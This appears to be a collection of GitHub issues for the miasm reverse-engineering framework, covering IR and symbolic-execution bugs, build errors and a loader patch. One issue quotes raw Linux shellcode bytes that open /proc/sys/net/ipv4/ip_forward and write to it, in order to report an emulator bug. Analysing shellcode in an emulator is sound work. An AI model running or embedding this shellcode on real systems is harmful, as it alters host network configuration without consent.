    of = ((({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{@32[(RBP+0xFFFFFFFFFFFFFFE8)],0,32, (@32[(RBP+0xFFFFFFFFFFFFFFE8)][31:32]?(0xFFFFFFFF,0x0)),32,64})+(- {({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{@32[(RBP+0xFFFFFFFFFFFFFFE8)],0,32, (@32[(RBP+0xFFFFFFFFFFFFFFE8)][31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32],0,32, (({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{@32[(RBP+0xFFFFFFFFFFFFFFE8)],0,32, (@32[(RBP+0xFFFFFFFFFFFFFFE8)][31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}))?(0x1,0x0))

    @32[(RBP+0xFFFFFFFFFFFFFFFC)] = RAX[0:32]

    RAX = {@32[(RBP+0xFFFFFFFFFFFFFFEC)],0,32, 0x0,32,64}

    RAX = {({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{0x16,0,32, (0x16[31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32],0,32, 0x0,32,64}
    cf = ((({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{0x16,0,32, (0x16[31:32]?(0xFFFFFFFF,0x0)),32,64})+(- {({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{0x16,0,32, (0x16[31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32],0,32, (({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{0x16,0,32, (0x16[31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}))?(0x1,0x0))
    of = ((({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{0x16,0,32, (0x16[31:32]?(0xFFFFFFFF,0x0)),32,64})+(- {({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{0x16,0,32, (0x16[31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32],0,32, (({RAX[0:32],0,32, (RAX[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}*{0x16,0,32, (0x16[31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32][31:32]?(0xFFFFFFFF,0x0)),32,64}))?(0x1,0x0))

    @32[(RBP+0xFFFFFFFFFFFFFFF8)] = RAX[0:32]

    RAX = {@32[(RBP+0xFFFFFFFFFFFFFFE4)],0,32, 0x0,32,64}

    RDX = {0x3,0,32, 0x0,32,64}

    RCX = {RAX[0:32],0,32, 0x0,32,64}

    IRDst = (({RCX[0:8],0,8, 0x0,8,32}&0x1F)?(lbl_gen_00000000:None,loc_0000000000400572:0x00400572))

The final condition after symbolic exec:

({RDX_init[0:8],0,8, 0x0,8,32}&0x1F)

The z3 expression:

Concat(Extract(23, 0, 0),
       Extract(7, 0, Extract(7, 0, RDX_init))) &
31

IRDst is erroneous in some cases

Hi,

Since commit a524c6c, IRBlocs only composed of one call (it might be a problem for other types of irblocs) have buggy IRDst :

Before that commit:

ASM BLOC:
CALL       loc_0000000008048086:0x08048086
->      c_next:loc_0000000008048085:0x08048085  c_to:loc_0000000008048086:0x08048086 

IR BLOC:
loc_0000000008048080:0x08048080
        ESP = {(ESP[0:32]+0xFFFFFFFC),0,32}
        @32[(ESP[0:32]+0xFFFFFFFC)] = loc_0000000008048085:0x08048085
        EIP = loc_0000000008048086:0x08048086
        IRDst = loc_0000000008048086:0x08048086

After that commit:

ASM BLOC:
CALL       loc_0000000008048086:0x08048086
->      c_next:loc_0000000008048085:0x08048085  c_to:loc_0000000008048086:0x08048086 

IR BLOC:
loc_0000000008048080:0x08048080
        ESP = {(ESP[0:32]+0xFFFFFFFC),0,32}
        @32[(ESP[0:32]+0xFFFFFFFC)] = loc_0000000008048085:0x08048085
        EIP = loc_0000000008048086:0x08048086
        IRDst = lbl_gen_00000000:None

EDIT: Only tested with x86_32.

build fail.

error: โ€˜TCC_RELOCATE_AUTOโ€™ undeclared

root@ubuntu:~/miasm# python setup.py build
building
build with 'all'
running build
running build_py
running build_ext
building 'miasm2.jitter.Jittcc' extension
x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -I/usr/include/python2.7 -c miasm2/jitter/Jittcc.c -o build/temp.linux-x86_64-2.7/miasm2/jitter/Jittcc.o
miasm2/jitter/Jittcc.c: In function โ€˜tcc_compilโ€™:
miasm2/jitter/Jittcc.c:172:30: error: โ€˜TCC_RELOCATE_AUTOโ€™ undeclared (first use in this function)
if (tcc_relocate(tcc_state, TCC_RELOCATE_AUTO) < 0) {
^
miasm2/jitter/Jittcc.c:172:30: note: each undeclared identifier is reported only once for each function it appears in
miasm2/jitter/Jittcc.c:172:2: error: too many arguments to function โ€˜tcc_relocateโ€™
if (tcc_relocate(tcc_state, TCC_RELOCATE_AUTO) < 0) {
^
In file included from miasm2/jitter/Jittcc.c:21:0:
/usr/include/libtcc.h:96:15: note: declared here
LIBTCCAPI int tcc_relocate(TCCState *s1);
^
SystemExit("error: command 'x86_64-linux-gnu-gcc' failed with exit status 1",)
build with 'notcc'
running build
running build_py
running build_ext
build notcc


Warning: TCC is not properly installed,
Miasm will be installed without TCC Jitter
Etheir install TCC or use LLVM jitter


build/lib.linux-x86_64-2.7

how build miasm?

x86 : Disasm_Exception : stmxcsr

Hi,

I'm trying to use miasm on the libc, however it seems strmxcst instruction isn't supported by miasm

mn_x86.dis("\x0f\xae\x5c\x24\x0c", 32, 0)

a Disasm_Exception occurs

thanks,

How to duplicate the jitter ?

Hi,

In the case where a shellcode uses a sys_fork, is it possible to duplicate the jitter so that i can handle the (virtual) child process ?

Regards

Documentation

The absence of documentation make miasm practically unusable for someone who isn't into its code.

So would it be possible to make a reference documentation listing all the classes and functions a-la doxygen?

selective function execution using miasm.

Hi,

I am successfully configured miasm on Ubuntu. I have a general question about Miasm.

Q1. Can I execute a specific function inside assemble/exe by using misam, if I know the function name and arguments ??

I would be very grateful to you, if you can give me the answer.
Thank you for your time.

Briti

TCC is not properly Installed Error

Hi !

I have an error when I try to build miasm (same as in #42 ) :

building 'miasm2.jitter.Jittcc' extension
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fno-strict-aliasing -D_FORTIFY_SOURCE=2 -g -fstack-protector-strong -Wformat -Werror=format-security -fPIC -I/usr/include/python2.7 -c miasm2/jitter/Jittcc.c -o build/temp.linux-x86_64-2.7/miasm2/jitter/Jittcc.o
miasm2/jitter/Jittcc.c: In function โ€˜tcc_init_stateโ€™:
miasm2/jitter/Jittcc.c:50:3: error: too few arguments to function โ€˜tcc_add_fileโ€™
   tcc_add_file(tcc_state, lib_array[i]);
   ^
In file included from miasm2/jitter/Jittcc.c:21:0:
/usr/local/include/libtcc.h:51:15: note: declared here
 LIBTCCAPI int tcc_add_file(TCCState *s, const char *filename, int filetype);
               ^
SystemExit("error: command 'x86_64-linux-gnu-gcc' failed with exit status 1",)
build with 'notcc'
running build
running build_py
running build_ext
build notcc

********************************************************************************
Warning: TCC is not properly installed,
Miasm will be installed without TCC Jitter
Etheir install TCC or use LLVM jitter
********************************************************************************

build/lib.linux-x86_64-2.7

I run a debian VM, here's my uname

Linux fuchikoma 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1+deb8u6 (2015-11-09) x86_64 GNU/Linux

tcc -v :

tcc version 0.9.26 (x86-64 Linux)

There's no libtcc-dev :

apt-get remove libtcc-dev
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Package 'libtcc-dev' is not installed, so not removed
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

I tried with installing tcc via apt-get and via tar.gz but had the same result in both cases

I hope you can help me ! ๐Ÿ˜
regards

Analysis of linux shellcode

Hi,

I'm trying to use Miasm2 to analyse Linux shellcodes and saw your conference on Sstic 2014 but i'm missing something !
When the shellcode is executed in Miasm, int 0x80 are not computed : no errors, no modifications on registers. So i tried to use Linux libs like you used Windows dlls on your example, using functions in *_elf.py instead of ones in *_pe.py.
I tried to add stdlib.h with absolute path and i had an "KeyError" :

Traceback (most recent call last):
File "process.py", line 91, in
e_lib = vm_load_elf(myjit.vm, lib_name)
File "/usr/local/lib/python2.7/dist-packages/miasm2/jitter/loader/elf.py", line 56, in vm_load_elf
e = elf_init.ELF(fdata, *kargs)
File "/usr/local/lib/python2.7/dist-packages/elfesteem/elf_init.py", line 658, in init
self.parse_content()
File "/usr/local/lib/python2.7/dist-packages/elfesteem/elf_init.py", line 671, in parse_content
self.Ehdr = WEhdr(self, self.sex, self.size, self.content)
File "/usr/local/lib/python2.7/dist-packages/elfesteem/elf_init.py", line 32, in init
self.cstr = self.wrapped(sex, size, *args, *kargs)
File "/usr/local/lib/python2.7/dist-packages/elfesteem/cstruct.py", line 56, in init
pstr = fix_size(self._fields, wsize)
File "/usr/local/lib/python2.7/dist-packages/elfesteem/cstruct.py", line 23, in fix_size
v = size2type[wsize]
KeyError: 1504

That is the code i used to add libs :

libs = libimp()
all_imp_lib = ["stdlib.h"]
all_e = []

for lib in all_imp_lib:
    lib_name = os.path.join('/usr/include/', lib)
    e_lib = vm_load_elf(myjit.vm, lib_name)
    libs.add_export_lib(e_lib, lib)
    all_e.append(e_lib)

for ee in all_e:
    preload_elf(myjit.vm, ee, libs)

e = mv_load_elf(myjit.vm, "shellcode.bin")
preload_elf(myjit.vm, e, libs)

If you could help me understanding how to correctly use Miasm :)

P.S. : In the way this is not possible, how can i execute a given system call in Miasm VM ?

PUSHW instruction

Hello !

I got something strange with a Linux shellcode, I do not find in the stack what it should be.
This is the part of the shellcode that interests us :

\x31\xc0\x50\x68\x77\x61\x72\x64\x68\x5f\x66\x6f\x72\x68\x34\x2f\x69\x70\x68\x2f\x69\x70\x76\x68\x2f\x6e\x65\x74\x68\x73\x79\x73\x2f\x68\x72\x6f\x63\x2f\x66\x68\x2f\x70\xcd\x80

And the 'testing' code :

shellcode = "\x31\xc0\x50\x68\x77\x61\x72\x64\x68\x5f\x66\x6f\x72\x68\x34\x2f\x69\x70\x68\x2f\x69\x70\x76\x68\x2f\x6e\x65\x74\x68\x73\x79\x73\x2f\x68\x72\x6f\x63\x2f\x66\x68\x2f\x70\xcd\x80"

import os,sys
from miasm2.jitter.jitload import *
from miasm2.analysis.machine import Machine
from miasm2.analysis.binary import Container
from miasm2.jitter.csts import PAGE_READ, PAGE_WRITE

machine = Machine('x86_32')
myjit = machine.jitter("tcc")
myjit.init_stack()
myjit.vm.add_memory_page(0x40000000, PAGE_READ | PAGE_WRITE, shellcode)
myjit.push_uint32_t(0)
myjit.jit.log_mn = True
myjit.init_run(0x40000000)
myjit.continue_run(True)
myjit.vm.get_mem(myjit.cpu.ESP, 20)
40000000 XOR        EAX, EAX
40000002 PUSH       EAX
40000003 PUSH       0x64726177
40000008 PUSH       0x726F665F
4000000D PUSH       0x70692F34
40000012 PUSH       0x7670692F
40000017 PUSH       0x74656E2F
4000001C PUSH       0x2F737973
40000021 PUSH       0x2F636F72
40000026 PUSH       0x702F
4000002A INT        0x80

The last 'PUSH' should be a PUSHW (0x6668).

We get :'/p\x00\x00c/sys//net/ipv4/'
When we should have : '/proc/sys//net/ipv4/' ('2F636F72702F'.decode('hex') -> '/corp/')
(or at least '/p\x00\x00roc/sys//net/ipv4/')

I tried with a sandbox_pe_x86_32.py like script :

import os
from pdb import pm
from miasm2.analysis.sandbox import Sandbox_Win_x86_32
parser = Sandbox_Win_x86_32.parser(description="PE sandboxer")
options = parser.parse_args()
sb = Sandbox_Win_x86_32('shellcode.pe', options, globals())
sb.run()
sb.jitter.vm.get_mem(sb.jitter.cpu.ESP, 20)

And got the same.

You can also try with the complete shellcode if you want :

\x31\xc0\x50\x68\x77\x61\x72\x64\x68\x5f\x66\x6f\x72\x68\x34\x2f\x69\x70\x68\x2f\x69\x70\x76\x68\x2f\x6e\x65\x74\x68\x73\x79\x73\x2f\x68\x72\x6f\x63\x2f\x66\x68\x2f\x70\x89\xe3\x31\xc9\xb1\x01\xb0\x05\xcd\x80\x89\xc3\x31\xc9\x51\x6a\x30\x89\xe1\x31\xd2\xb2\x01\xb0\x04\xcd\x80\x31\xc0\x83\xc0\x06\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80

Regards

Query on Symbolic Execution.

Hi,

Last few days I worked a lot on miasm. Thanks guys for a nice framework and support me to run it on my PC. Now, I need few clarifications on Symbolic execution by miasm. After running a symbolic execution of below function, I am getting the following output.


int multipath(int a,int b,int op)
{
int ret=0;
if(op==0)
ret = a+b;
if(op==1)
ret = a-b;
if(op==2)
ret = a*b;
if(op==3)
ret = a/b;
return ret;
}

Symbolic output by miasm:
Solution 0: EAX: (@32[(ESP_init+0x4)]+(- @32[(ESP_init+0x8)])) -> sol_0.dot
Solution 1: EAX: (@32[(ESP_init+0x4)]+@32[(ESP_init+0x8)]) -> sol_1.dot
Solution 2: EAX: 0x0 -> sol_2.dot
Solution 3: EAX: ({@32[(ESP_init+0x4)],0,32, (@32[(ESP_init+0x4)][31:32]?(0xFFFFFFFF,0x0)),32,64}*{@32[(ESP_init+0x8)],0,32, (@32[(ESP_init+0x8)][31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32] -> sol_3.dot
Solution 4: EAX: ({@32[(ESP_init+0x4)],0,32, (@32[(ESP_init+0x4)][31:32]?(0xFFFFFFFF,0x0)),32,64} idiv {@32[(ESP_init+0x8)],0,32, (@32[(ESP_init+0x8)][31:32]?(0xFFFFFFFF,0x0)),32,64})[0:32] -> sol_4.dot


Q:
Is there any way to know that, for each solution what are the values of a, b and op using and what is the return value?

something like
Solution 0: EAX: 12 a->4 b->8 and op->0

Thank you for your time.

Analysis of linux shellcode

Bonjour,

Je tente d'utiliser Miasm2 pour faire de l'analyse de shellcode Linux.
J'ai bien รฉtudiรฉ la confรฉrence que vous aviez fait au Sstic 2014 mais je bloque !
Lors de l'exรฉcution "normale" du shellcode, miasm passe sur les interruptions (cd 80) comme s'il n'y avait rien (aucune erreur, aucune modification). J'ai donc voulu adapter votre mรฉthode d'ajout de dll windows pour une utilisation Linux !
J'ai bien sur utilisรฉ les fonctions prรฉsentes dans elf.py ร  la places de celles dans pe.py mais quelque chose m'รฉchappe. J'ai founi, non pas des .ddl, mais des .h (stdlib.h, avec le chemin absolu) mais j'obtiens une erreur (KeyError) :

Traceback (most recent call last):
File "process.py", line 91, in
e_lib = vm_load_elf(myjit.vm, lib_name)
File "/usr/local/lib/python2.7/dist-packages/miasm2/jitter/loader/elf.py", line 56, in vm_load_elf
e = elf_init.ELF(fdata, *_kargs)
File "/usr/local/lib/python2.7/dist-packages/elfesteem/elf_init.py", line 658, in init
self.parse_content()
File "/usr/local/lib/python2.7/dist-packages/elfesteem/elf_init.py", line 671, in parse_content
self.Ehdr = WEhdr(self, self.sex, self.size, self.content)
File "/usr/local/lib/python2.7/dist-packages/elfesteem/elf_init.py", line 32, in init
self.cstr = self.wrapped(sex, size, *args, *_kargs)
File "/usr/local/lib/python2.7/dist-packages/elfesteem/cstruct.py", line 56, in init
pstr = fix_size(self._fields, wsize)
File "/usr/local/lib/python2.7/dist-packages/elfesteem/cstruct.py", line 23, in fix_size
v = size2type[wsize]
KeyError: 1504

Voici la portion de code qui concerne les lib :

libs = libimp()
all_imp_lib = ["stdlib.h"]
all_e = []

for lib in all_imp_lib:
lib_name = os.path.join('/usr/include/', lib)
e_lib = vm_load_elf(myjit.vm, lib_name)
libs.add_export_lib(e_lib, lib)
all_e.append(e_lib)

for ee in all_e:
preload_elf(myjit.vm, ee, libs)

e = mv_load_elf(myjit.vm, "shellcode.bin")
preload_elf(myjit.vm, e, libs)

Je vous remercie et vous souhaite une bonne de journรฉe !

Cordialement,

Romain

"Race" in jitter callback and breakpoints

In miasm2/jitter/jitcore.py : disbloc, the disasm_cb is called once the block have been disassembled, and then it is added to lbl2bloc (label to jitted basic blocks).

If a Miasm breakpoint is set during the callback on an element in the input block, it will be ignored. Indeed, when a new breakpoint is added, if the address is already jitted, the block is removed from lbl2bloc (not yet added), and the next time the basic block will be disassembled, the block will be split (already disassembled).

In addition, for more homogeneity, a merge with the disassembly's callback API of dis_engine could be done.

expression simplifications

Hi,

the simplifications for a^a doesn't seem to work. For instance,

expr_simp(ExprOp("^", eax, eax)) # eax ^ eax

doesn't apply the simplification. Therefore, (((eax|(eax&(eax^eax))) will also not be simplified:

print expr_simp(ExprOp("|", eax, ExprOp("&", eax, ExprOp("^", eax, eax))))

I noted that while I was trying to add simplifications for a % a and a / a here.

            # A OP A => 0
            if op in ['^', '%', "imod", "umod"] and args[i] == args[j]:
                args[i] = ExprInt_from(args[i], 0)
                del(args[j])
                continue
            # A OP A => 1
            if op in ['/', "idiv", "udiv"] and args[i] == args[j]:
                args[i] = ExprInt_from(args[i], 1)
                del(args[j])
                continue

With that, simplifications for / will be applied, but not for the other cases (idiv, udiv, %, ^, ... ).

conditional mov affects IRDst that breaks the symbolic execution?

for the following code, the emulbloc function will stop at CMOVZ ESI, EDI instruction. We will have an ExprCond like condition?(0x8048555,lbl_gen_00000000:None).
However, I'm expecting an ExprCond such as condition?(0x08048bd6, 0x08048564)

loc_000000000804854A:0x0804854a
CMP CL, 0x9
SETBE CL
OR AL, CL
CMOVZ ESI, EDI
ADD EDX, 0x1
CMP EDX, DWORD PTR [ESP+0xC]
MOV ECX, EDX
JNZ loc_0000000008048BD6:0x08048bd6
-> c_to:loc_0000000008048BD6:0x08048bd6 c_next:loc_0000000008048564:0x08048564


zf ((ECX_init[0:8]+0xF7)?(0x0,0x1))
nf (ECX_init[0:8]+0xF7)[7:8]
pf (parity (ECX_init[0:8]+0xF7))
of (((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))[7:8]
cf ((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8]
af (((ECX_init[0:8]+0xF7)&0x10)?(0x1,0x0))


ECX {((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0)),0,8, ECX_init[8:32],8,32}
zf ((ECX_init[0:8]+0xF7)?(0x0,0x1))
nf (ECX_init[0:8]+0xF7)[7:8]
pf (parity (ECX_init[0:8]+0xF7))
of (((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))[7:8]
cf ((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8]
af (((ECX_init[0:8]+0xF7)&0x10)?(0x1,0x0))


EAX {(((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0))|EAX_init[0:8]),0,8, EAX_init[8:32],8,32}
ECX {((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0)),0,8, ECX_init[8:32],8,32}
zf ((((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0))|EAX_init[0:8])?(0x0,0x1))
nf (((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0))|EAX_init[0:8])[7:8]
pf (parity (((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0))|EAX_init[0:8]))
of 0x0
cf 0x0
af (((ECX_init[0:8]+0xF7)&0x10)?(0x1,0x0))


IRDst ((((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0))|EAX_init[0:8])?(0x8048555,lbl_gen_00000000:None))
EAX {(((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0))|EAX_init[0:8]),0,8, EAX_init[8:32],8,32}
ECX {((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0)),0,8, ECX_init[8:32],8,32}
zf ((((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0))|EAX_init[0:8])?(0x0,0x1))
nf (((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0))|EAX_init[0:8])[7:8]
pf (parity (((((ECX_init[0:8]+0xF7)?(0x0,0x1))|((((ECX_init[0:8]+0xF7)^ECX_init[0:8])&(ECX_init[0:8]^0x9))^(ECX_init[0:8]+0xF7)^ECX_init[0:8]^0x9)[7:8])?(0x1,0x0))|EAX_init[0:8]))
of 0x0
cf 0x0
af (((ECX_init[0:8]+0xF7)&0x10)?(0x1,0x0))

Mips code breaks asmbloc

I have the following opcode for the mipsel architecture: \x10\x00\x00. The basic block looks as

loc_0000000000400A2C:0x00400a2c
ADDU       V0, ZERO, ZERO
->  c_next:loc_0000000000400A30:0x00400a30 

Then, the method get_subcall_instr in asmbloc.py fails with

  File "/usr/lib/python2.7/site-packages/miasm2/core/asmbloc.py", line 207, in get_subcall_instr
    l = self.lines[i]
IndexError: list index out of range

The code

for i in xrange(-1, -1 - self.lines[0].delayslot - 1, -1)

breaks for self.lines[0].delayslot = 1 in the second iteration, when i = -2 holds.

Here is the assembly snippet:

  |   ``-> 0x00400a20    01000224       addiu v0, zero, 1
|  |        0x00400a24    8c021008       j 0x400a30                   
|  |        0x00400a28    25082000       move at, at
|  |        ; JMP XREF from 0x004007d0
|  |        0x00400a2c    21100000       move v0, zero
|  |        ; XREFS: JMP 0x0040082c  JMP 0x00400908  JMP 0x004009e0  
|  |        ; XREFS: JMP 0x004009ec  JMP 0x00400a0c  JMP 0x00400a18  
|  |        ; XREFS: JMP 0x00400a24  
|  `------> 0x00400a30    21e8c003       move sp, fp
|           0x00400a34    3400bf8f       lw ra, 0x34(sp)
|           0x00400a38    3000be8f       lw fp, 0x30(sp)
|           0x00400a3c    3800bd27       addiu sp, sp, 0x38
|           0x00400a40    0800e003       jr ra
\           0x00400a44    25082000       move at, at

The dot file is linked here.

Having error during installation in Windows

I am trying to use your framework. But during installation in windows (python 2.7 & VS 12), I was getting the following error:

miasm2/jitter/vm_mngr.c(26) : fatal error C1083: Cannot open include file: 'inttypes.h': No such file or directory

Using google search I got a solution for inttypes.h and placed it in CV->include. After that, I was having below problem.
.
'__BYTE_ORDER' : undeclared identifie
'void *' : unknown size
'fabs' : intrinsic function, cannot defined

I would be very grateful to you, if you can provide me that any solution of it.

Patch proposal : win_api_x86_32_seh.py

Hey,

I made a patch for myself and want to share it with you.
There is 2 parts :

  • the first one allows us to modify path for main_pe and dll
  • the other allows us to add a dll after initialisation

This is the first patch :

diff --git a/miasm2/os_dep/win_api_x86_32_seh.py b/miasm2/os_dep/win_api_x86_32_seh.py
index d86bd46..0986db5 100644
--- a/miasm2/os_dep/win_api_x86_32_seh.py
+++ b/miasm2/os_dep/win_api_x86_32_seh.py
@@ -83,6 +83,7 @@ cur_seh_ad = FAKE_SEH_B_AD
 loaded_modules = ["ntdll.dll", "kernel32.dll"]
 main_pe = None
 main_pe_name = "c:\\xxx\\toto.exe"
+modules_path = "win_dll"

 MAX_SEH = 5

@@ -162,7 +163,7 @@ def build_ldr_data(jitter, modules_info):
     offset = LDR_AD + peb_ldr_data_offset + 0xC

     # get main pe info
-    main_pe = modules_info.name2module.get(main_pe_name, None)
+    main_pe = modules_info.name2module.get(os.path.basename(main_pe_name), None)
     if not main_pe:
         log.warn('No main pe, ldr data will be unconsistant')
         offset, data = offset + 8, ""
@@ -263,7 +264,7 @@ def create_modules_chain(jitter, modules_name):
             if i == 0:
                 full_name = fname
             else:
-                full_name = os.path.join("win_dll", fname)
+                full_name = os.path.join(modules_path, fname)
             try:
                 e = pe_init.PE(open(full_name, 'rb').read())
             except IOError:
@@ -315,7 +316,7 @@ def fix_InLoadOrderModuleList(jitter, modules_info):
     """

     log.debug("Fix InLoadOrderModuleList")
-    main_pe = modules_info.name2module.get(main_pe_name, None)
+    main_pe = modules_info.name2module.get(os.path.basename(main_pe_name), None)
     kernel32_pe = modules_info.name2module.get("kernel32.dll", None)
     ntdll_pe = modules_info.name2module.get("ntdll.dll", None)
     dummy_pe = modules_info.name2module.get("", None)
@@ -351,7 +352,7 @@ def fix_InMemoryOrderModuleList(jitter, modules_info):
     """

     log.debug("Fix InMemoryOrderModuleList")
-    main_pe = modules_info.name2module.get(main_pe_name, None)
+    main_pe = modules_info.name2module.get(os.path.basename(main_pe_name), None)
     kernel32_pe = modules_info.name2module.get("kernel32.dll", None)
     ntdll_pe = modules_info.name2module.get("ntdll.dll", None)
     dummy_pe = modules_info.name2module.get("", None)
@@ -388,7 +389,7 @@ def fix_InInitializationOrderModuleList(jitter, modules_info):
     """

     log.debug("Fix InInitializationOrderModuleList")
-    main_pe = modules_info.name2module.get(main_pe_name, None)
+    main_pe = modules_info.name2module.get(os.path.basename(main_pe_name), None)
     kernel32_pe = modules_info.name2module.get("kernel32.dll", None)
     ntdll_pe = modules_info.name2module.get("ntdll.dll", None)
     dummy_pe = modules_info.name2module.get("", None)

And the second :

diff --git a/miasm2/os_dep/win_api_x86_32_seh.py b/miasm2/os_dep/win_api_x86_32_seh.py
index 0986db5..53c894b 100644
--- a/miasm2/os_dep/win_api_x86_32_seh.py
+++ b/miasm2/os_dep/win_api_x86_32_seh.py
@@ -144,7 +144,7 @@ def build_peb(jitter, peb_address):
     jitter.vm.add_memory_page(offset, PAGE_READ | PAGE_WRITE, o)


-def build_ldr_data(jitter, modules_info):
+def build_ldr_data(jitter):
     """
     Build Loader informations using following structure:

@@ -210,6 +210,8 @@ class LoadedModules(object):
         out = self.name2module.iteritems()
         return "\n".join(out)

+modules_info = LoadedModules()
+

 def create_modules_chain(jitter, modules_name):
     """
@@ -239,7 +241,6 @@ def create_modules_chain(jitter, modules_name):
     @modules_name: a list of modules names
     """

-    modules_info = LoadedModules()
     base_addr = LDR_AD + modules_list_offset  # XXXX
     offset_name = 0x500
     offset_path = 0x600
@@ -272,6 +273,8 @@ def create_modules_chain(jitter, modules_name):
                 e = None
         if e is None:
             continue
+        if bname_str in modules_info.name2module.keys():
+            continue
         log.info("Add module %x %r", e.NThdr.ImageBase, bname_str)

         modules_info.add(bname_str, e, addr)
@@ -304,10 +307,8 @@ def create_modules_chain(jitter, modules_name):
         jitter.vm.add_memory_page(
             addr + offset_path, PAGE_READ | PAGE_WRITE, m_o)

-    return modules_info
-

-def fix_InLoadOrderModuleList(jitter, modules_info):
+def fix_InLoadOrderModuleList(jitter):
     """Fix InLoadOrderModuleList double link list. First module is the main pe,
     then ntdll, kernel32. dummy is last pe.

@@ -343,7 +344,7 @@ def fix_InLoadOrderModuleList(jitter, modules_info):
                            pck32(prev_module_entry)))


-def fix_InMemoryOrderModuleList(jitter, modules_info):
+def fix_InMemoryOrderModuleList(jitter):
     """Fix InMemoryOrderLinks double link list. First module is the main pe,
     then ntdll, kernel32. dummy is last pe.

@@ -379,7 +380,7 @@ def fix_InMemoryOrderModuleList(jitter, modules_info):
                            pck32(prev_module_entry + 0x8)))


-def fix_InInitializationOrderModuleList(jitter, modules_info):
+def fix_InInitializationOrderModuleList(jitter):
     """Fix InInitializationOrderModuleList double link list. First module is the
     ntdll, then kernel32. dummy is last pe.

@@ -462,12 +463,12 @@ def init_seh(jitter):
     build_teb(jitter, FS_0_AD)
     build_peb(jitter, peb_address)

-    modules_info = create_modules_chain(jitter, loaded_modules)
-    fix_InLoadOrderModuleList(jitter, modules_info)
-    fix_InMemoryOrderModuleList(jitter, modules_info)
-    fix_InInitializationOrderModuleList(jitter, modules_info)
+    create_modules_chain(jitter, loaded_modules)
